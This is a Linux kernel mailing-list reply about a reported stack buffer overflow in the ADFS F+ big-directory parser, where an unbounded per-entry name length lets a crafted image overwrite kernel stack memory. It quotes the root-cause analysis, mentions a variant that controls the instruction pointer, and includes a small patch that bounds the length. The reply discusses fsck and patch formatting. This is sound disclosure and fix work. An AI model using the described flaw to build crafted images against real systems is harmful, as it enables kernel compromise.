> held on the caller's stack -- adfs_fplus_iterate() declares it locally
> (dir_fplus.c:212); adfs_lookup() uses the same on-stack pattern
> (dir.c:434). adfs_fplus_validate_header() checks only AGGREGATE sizes
> (directory name length, total names area, entries*stride); it never bounds
> the per-entry bigdirobnamelen. adfs_dir_copyfrom() bounds the source only
> against dir->nr_buffers, never against the destination.
> 
> Therefore a crafted ADFS F+ image whose entry has bigdirobnamelen > 260
> overflows obj->name on the kernel stack. The path is reached when the
> directory is enumerated (readdir/getdents64) or an entry is looked up, on a
> mounted image.

Is there an fsck tool for ADFS, and if so, does it detect this modification ?
As per the documented threat model, most file systems trust images and rely
on fsck to check them before mounting, and in this case, such bugs are not
handled as security issues but just regular bugs..

(...)
> 5. PROPOSED FIX (inline tested patch, applies cleanly on v7.2-rc5)
> -------------------------------------------------------------------
> Bound bigdirobnamelen against the destination buffer before the copy. This
> stops both the KASAN overflow and the RIP-control variant (a
> bigdirobnamelen of 512 or 388 is rejected with -EIO before the copy). I can
> add a second change to adfs_fplus_validate_header() to validate per-entry
> name pointers up front if preferred.
> 
> [PATCH] adfs: bound big-directory entry name length in adfs_fplus_getnext()
> 
> Bound bigdirobnamelen against ADFS_MAX_NAME_LEN before the copy.
> 
> ---
>  fs/adfs/dir_fplus.c | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/fs/adfs/dir_fplus.c b/fs/adfs/dir_fplus.c
> --- a/fs/adfs/dir_fplus.c
> +++ b/fs/adfs/dir_fplus.c
> @@ -192,6 +192,8 @@
>   obj->indaddr  = le32_to_cpu(bde.bigdirindaddr);
>   obj->attr     = le32_to_cpu(bde.bigdirattr);
>   obj->name_len = le32_to_cpu(bde.bigdirobnamelen);
> + if (obj->name_len > ADFS_MAX_NAME_LEN)
> + return -EIO;
> 
>   offset = adfs_fplus_offset(h, le32_to_cpu(h->bigdirentries));
>   offset += le32_to_cpu(bde.bigdirobnameptr);
> ----

Could you please resend this patch in a format that allows it to be
applied ? This way if maintainers accept it, it would save a round
trip, and you'd be credited for resolving this bug. From, Fixes,
and Signed-off-by are needed. Just produce it via git-format-patch,
as explained in Documentation/process/submitting-patches.rst. Also
be careful, your email client replaced tabs with spaces above. You
will need to check Documentation/process/email-clients.rst to see
how to fix this.

> I'd be grateful if you could confirm receipt and on request a CVE via
> cve@kernel.org once the fix is in a stable tree. I will not discuss this
> publicly or with linux-distros until a fix is accepted.

Ah, then maybe linux-fsdevel was not intended then :-)

  https://lore.kernel.org/linux-fsdevel/CAGpo96PO4DPJJZtRj9vnR-ZzcWwv=oHyfM7i2Ug+A_CjR3z4+A@mail.gmail.com/

No worries, for this one it was the right thing to do anyway.

Thanks,
Willy

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-08-01  5:01 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-01  2:15 adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory) Research & Development
2026-08-01  5:01 ` Willy Tarreau

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.